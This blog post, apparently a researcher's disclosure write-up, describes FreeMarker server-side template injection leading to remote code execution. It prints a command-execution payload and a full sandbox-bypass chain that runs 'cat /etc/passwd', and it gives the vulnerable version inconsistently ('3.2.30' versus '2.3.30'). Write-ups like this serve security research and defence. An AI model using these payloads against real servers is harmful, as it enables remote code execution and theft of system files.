突破屏障:FreeMarker模板引擎中的SSTI漏洞实现远程代码执行

本文详细分析了FreeMarker模板引擎中存在的服务器端模板注入漏洞,通过具体代码演示了如何利用CVE-2021-25770漏洞实现远程代码执行,并展示了绕过沙箱防护机制的技术细节。文章包含完整的漏洞利用流程和Payload构造方法。

突破屏障:FreeMarker模板引擎中的SSTI漏洞实现远程代码执行

2023年,我在一个使用旧版FreeMarker模板引擎的应用程序中发现了一个重大漏洞。该版本存在服务器端模板注入漏洞,使我能够实现远程代码执行。在报告此问题后,公司立即采取了行动,通过实施沙箱机制来降低SSTI攻击的风险。然而,由于公司仍在使用FreeMarker版本< 3.2.30,存在已知的漏洞利用方法可以绕过已实施的沙箱。本文深入探讨了这一发现的细节,重点介绍了绕过沙箱机制的具体步骤。

FreeMarker模板引擎概述

FreeMarker是一个广泛采用的模板引擎,主要用于基于Java的应用程序中,用于将表示逻辑与业务逻辑分离。它使开发人员能够创建结合静态内容和动态元素或占位符的模板。这些模板可以使用来自不同来源的数据进行填充,包括Java对象或数据库查询,从而生成动态输出。

使用FreeMarker进行HTML到PDF转换的过程遵循结构化流程:

  1. HTML结构定义:在FreeMarker模板文件中定义所需的HTML结构,包括指定生成的PDF文档应包含的内容、格式和样式。

  2. FreeMarker指令:使用FreeMarker指令动态地将数据填充到HTML模板中。这包括遍历集合、条件渲染内容和访问变量。FreeMarker指令由<#符号后跟指令名称表示。

  3. 指令块:在FreeMarker指令中,可以定义条件执行或迭代的代码块。这些块提供了控制数据流和内容生成的灵活性。

  4. HTML渲染:通过将模板与提供的数据合并来渲染FreeMarker模板。合并过程使用动态值填充模板,根据指定的逻辑和指令创建最终的HTML输出。

  5. HTML到PDF转换:生成HTML输出后,使用合适的HTML到PDF转换工具或库,这些工具提供API或实用程序来将HTML转换为PDF文档。

漏洞发现过程

在应用程序的测试阶段,我观察到使用了诸如<#if><#list></#list></#else>等标签。这些标签提供了有关应用程序使用的底层技术的线索。经过进一步调查,我发现应用程序正在使用FreeMarker模板引擎。

我进行了一些测试来评估模板引擎的行为。使用以下代码片段来评估引擎是否正确转义特殊字符、允许变量声明和执行基本算术运算:

1
2
<#assign test = .version>
TEST FOR SSTI: ${3*3}

这些测试旨在验证引擎是否正确处理特殊字符、允许变量赋值以及准确计算算术表达式。

版本确认和漏洞识别

现在我们需要确认正在使用的引擎版本。我使用以下代码片段来识别版本:

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

如您所见,引擎版本低于2.3.30,这使其容易受到SSTI攻击。

初始漏洞利用

freemarker.template.utility.Execute类为FreeMarker提供了执行外部命令的能力。通过利用此类,您可以从FreeMarker模板内运行命令。

要创建精心设计的Payload,可以按以下方式构建:

1
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

这将执行命令并显示/etc/passwd文件的内容。

沙箱绕过技术

在报告此问题后,他们在模板引擎中引入了沙箱环境作为预防措施。

在FreeMarker中,沙箱是一种安全功能,限制在模板引擎内执行的功能和操作。它提供了一个受控环境,其中某些潜在风险操作被禁用或限制,以确保系统的安全性和完整性。

当尝试注入${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}时,发生了错误并抛出了堆栈跟踪。

为了验证特殊字符转义、变量赋值和算术表达式准确计算的行为,我执行了以下代码:

1
2
<#assign test = .version>
TEST FOR SSTI: ${10*10}

我注意到它没有转义任何特殊字符并且能够执行乘法运算。

通过运行此代码,打印了FreeMarker版本,提供了有关应用程序中使用的特定FreeMarker版本的信息:

1
2
<#assign freemarkerVersion = .version>
FreeMarker version: ${freemarkerVersion}

在确认他们使用相同版本的FreeMarker后,已确定如果版本小于2.3.30,则可以绕过沙箱。因此,我们将继续构建Payload来绕过沙箱。

完整的沙箱绕过Payload

首先,我们将article.class.protectionDomain.classLoader的值分配给变量classloader。这将允许我们访问与article对象的保护域关联的类加载器。

1
<#assign classloader=article.class.protectionDomain.classLoader>

现在,我们将使用classloader对象的loadClass方法来加载freemarker.template.ObjectWrapper类。这允许我们访问ObjectWrapper类的方法和属性,这些方法和属性用于FreeMarker模板引擎中的各种操作和检索与对象包装相关的信息。

通过加载ObjectWrapper类,我们可以在代码中与其功能进行交互,并在FreeMarker模板的上下文中利用其特性。

1
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

表达式owc.getField("DEFAULT_WRAPPER")用于检索表示ObjectWrapper类中名为"DEFAULT_WRAPPER"的字段的Field对象。getField方法用于根据字段名称获取字段。

随后,在Field对象上调用.get(null)来获取字段的值。由于该字段是静态的且不需要实例,因此传递null作为参数。

1
2
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

这一行负责将从classloader.loadClass("freemarker.template.utility.Execute")获得的值分配给变量"ec"。

理论上会发生以下情况:

  • 调用classloader对象的loadClass方法,尝试加载名为"freemarker.template.utility.Execute"的类。
  • 返回的类对象然后分配给变量ec
  • Execute类是FreeMarker中的一个实用程序类,可能提供特定的功能或实用程序,用于在模板引擎内执行某些操作。

总之,这一行通过反射使用loadClass方法加载Execute实用程序类,并将其分配给变量ec。这允许在后续代码中潜在使用Execute类的特性或方法。

1
${dwf.newInstance(ec,null)("cat /etc/passwd")}

这一行负责创建dwf对象的新实例,该对象很可能是DEFAULT_WRAPPER。

dwf对象上调用newInstance方法,触发创建新实例。在创建新实例时,ec对象作为构造函数参数传递。生成的实例立即作为方法调用,参数为"cat /etc/passwd"。

完整的Payload如下所示:

1
2
3
4
5
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cat /etc/passwd")}

这将绕过沙箱并执行命令。

感谢Bhavuk Jain的校对。希望您喜欢这篇文章。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计